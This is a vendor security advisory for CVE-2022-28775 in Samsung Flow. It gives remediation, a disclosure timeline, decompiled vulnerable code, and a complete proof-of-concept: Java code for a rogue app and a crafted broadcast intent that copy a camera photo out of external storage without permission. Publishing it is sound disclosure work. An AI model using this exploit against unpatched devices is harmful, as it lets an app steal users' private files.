Samsung Flow - Any App Can Read The External Storage

  • Ken Gannon Ken Gannon
  • Published: 4 May 2022
  • Type: Security Control Bypass
  • Severity: Medium

Affected Products

Samsung Flow Prior To Version 4.8.06.5

CVE

CVE-2022-28775

Description

F-Secure looked into exploiting the Samsung Galaxy S21 device for Austin Pwn2Own 2021. Samsung Flow, an application offered on the Galaxy Store, had an issue with how it handled broadcasted intents. A rogue application could use this issue to read contents on the device’s external storage without requiring the proper Android permissions.

Remediation

Samsung has released Samsung Flow version 4.8.06.5 which addresses this issue. Users should update their Samsung Flow application to the latest version available.

The Exploit

As an example, the following exploit code will exfiltrate a picture taken by the device’s camera. This example requires two parts. First, the rogue application must contain an exported activity with the following Java code:

public class IntentProxyToContentProvider extends Activity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Uri uri = Uri.parse(getIntent().getDataString());
        
        try {
            Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
            String yayuriyay = MediaStore.Images.Media.insertImage(
                getContentResolver(),
                bitmap,
                "yaytitleyay", 
                "yaydescriptionyay"
            );
            
            InputStream input = getContentResolver().openInputStream(Uri.parse(yayuriyay));
            File file = new File(getFilesDir(), "yayoutputyay.jpg");
            FileOutputStream output = new FileOutputStream(file);
            
            try {
                byte[] buf = new byte[1024];
                int len;
                while ((len = input.read(buf)) > 0) {
                    output.write(buf, 0, len);
                }
            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                try {
                    if (input != null) {
                        input.close();
                    }
                    if (output != null) {
                        output.close();
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Second, the rogue application must send the following Broadcast, replacing "" with the name of the picture found on the device, and "" with the package name of the rogue application:

Intent intent = new Intent();
intent.setComponent(new ComponentName(
    "com.samsung.android.galaxycontinuity",
    "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver"
));
intent.setAction("com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT");

Intent intent2 = new Intent();
intent2.setComponent(new ComponentName(
    "<rogue application package>",
    "<rogue application package>.IntentProxyToContentProvider"
));
intent2.setData(Uri.parse(
    "content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>"
));
intent2.setFlags(195);

Bundle bundle = new Bundle();
bundle.putParcelable("_data", intent2);
bundle.putString("ClassName", "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity");

intent.putExtras(bundle);
sendBroadcast(intent);

The above code will perform the following steps:

  • Send a Broadcast to the exported Broadcast Receiver “com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver”
  • The Broadcast Receiver opens the unexported Activity “com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity”
  • The Activity passes permissions to read the unexported Content File Provider “com.samsung.android.galaxycontinuity.provider” to the rogue application’s exported Activity mentioned earlier

After successful exploitation, the targeted picture will be saved to the rogue application’s “Files” private directory. Specifically, it will be saved to /data/data/<rogue application package>/Files/yayoutputyay.jpg.

Technical Details

The exported Broadcast Receiver “com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver” processes received broadcast intents by checking for:

  • The action value
  • The extra string value “ClassName”

If the action value matches “com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT” and “ClassName” is not null, then a new intent is created and Samsung Flow will start the activity defined in “ClassName”. Any intent extras that is bundled with the broadcast intent is also bundled with the newly created intent:

public void onReceive(Context context, Intent intent) {
        Intent intent2;
        try {
            String action = intent.getAction();
            intent.setComponent(null);
            if (action.equals("REQUEST_LAUNCH_MY_FILES")) {
                FileUtil.openMyFiles(intent.getStringExtra("START_PATH"));
                return;
            }
            if (!"android.intent.action.BOOT_COMPLETED".equals(action)) {
                if (!ACTION_LAZY_BOOT_COMPLETE.equals(action)) {
                    if (Define.ACTION_FLOW_CONTENT_PENDING_INTENT.equals(action)) {
                        String stringExtra = intent.getStringExtra("ClassName");
                        if (stringExtra != null) {
                            if ((stringExtra.equals(NotificationDetailActivity.class.getName()) || stringExtra.equals(ChatActivity.class.getName())) && SettingsManager.getInstance().getNotificationOption()) {
                                Intent intent3 = new Intent(SamsungFlowApplication.get(), MirroringActivity.class);
                                intent3.setAction(Define.ACTION_SMARTVIEW_FROM_NOTIFICATION);
                                intent3.putExtra("FlowKey", intent.getStringExtra("FlowKey"));
                                intent3.setFlags(268435456);
                                SamsungFlowApplication.get().startActivity(intent3);
                                return;
                            }
                            Intent intent4 = new Intent(SamsungFlowApplication.get(), Class.forName(stringExtra));
                            intent4.replaceExtras(intent.getExtras());
                            intent4.setFlags(268435456);
                            SamsungFlowApplication.get().startActivity(intent4);
                            return;

By defining com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity as the ClassName, a Create Chooser Intent is created based on the data defined in the passed intent’s parcelable extra _data. The intent bundled in _data can contain standard intent objects, intent extras.

This new intent is started via startActivity:

public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        startChooser(getIntent());
        finish();
    }
private void startChooser(Intent intent) {
        if (intent != null && intent.getExtras().containsKey("_data")) {
            try {
                ArrayList<? extends Parcelable> arrayList = new ArrayList<>();
                arrayList.add(new ComponentName(SamsungFlowApplication.get().getPackageName(), ShareActivity.class.getName()));
                Intent createChooser = Intent.createChooser((Intent) intent.getParcelableExtra("_data"), ResourceUtil.getString(R.string.share));
                if (Build.VERSION.SDK_INT >= 24) {
                    createChooser.putExtra("android.intent.extra.EXCLUDE_COMPONENTS", (Parcelable[]) arrayList.toArray(new Parcelable[0]));
                } else {
                    createChooser.putParcelableArrayListExtra("extra_chooser_droplist", arrayList);
                }
                if (intent.getBooleanExtra(EXTRA_POP_OVER_SUPPORTED, false)) {
                    int intExtra = intent.getIntExtra(EXTRA_POP_OVER_POS, -1);
                    ActivityOptions makeBasic = ActivityOptions.makeBasic();
                    makeBasic.semSetChooserPopOverPosition(intExtra);
                    startActivity(createChooser, makeBasic.toBundle());
                    return;
                }
                startActivity(createChooser);
            } catch (Exception e) {
                FlowLog.e(e);
            }
        }
    }

If the Create Chooser Intent passed to startActivity contains the following flags, then the target started activity will be given access to Samsung Flow’s content providers, including unexported content providers:

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
  • Intent.FLAG_GRANT_READ_URI_PERMISSION
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION

As an example, an intent passed to startActivity could contain a data value of content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>. Then the target activity will be given access to the content provider com.samsung.android.galaxycontinuity.provider and be able to download the file /external_files/DCIM/Camera/<target picture>. The following code within the target activity can be used to create a new file via the Android MediaStore content provider, and save the data that was obtained from content://com.samsung.android.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>:

Uri uri = Uri.parse(getIntent().getDataString());
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay");
Lod.d("yaytagyay", "this content provider contains the saved media: " + yayuriyay);

Timeline

Date Action
19 Oct 2021 Issue disclosed to Samsung Mobile Security
19 Oct 2021 Issue assigned to a Samsung Security Analyst
2 Jan 2022 Samsung confirms the vulnerability and rates it as a high risk issue
4 Mar 2022 Patch released, Samsung initiates process for bug bounty reward
12 Apr 2022 CVE Assigned
4 May 2022 Advisory Published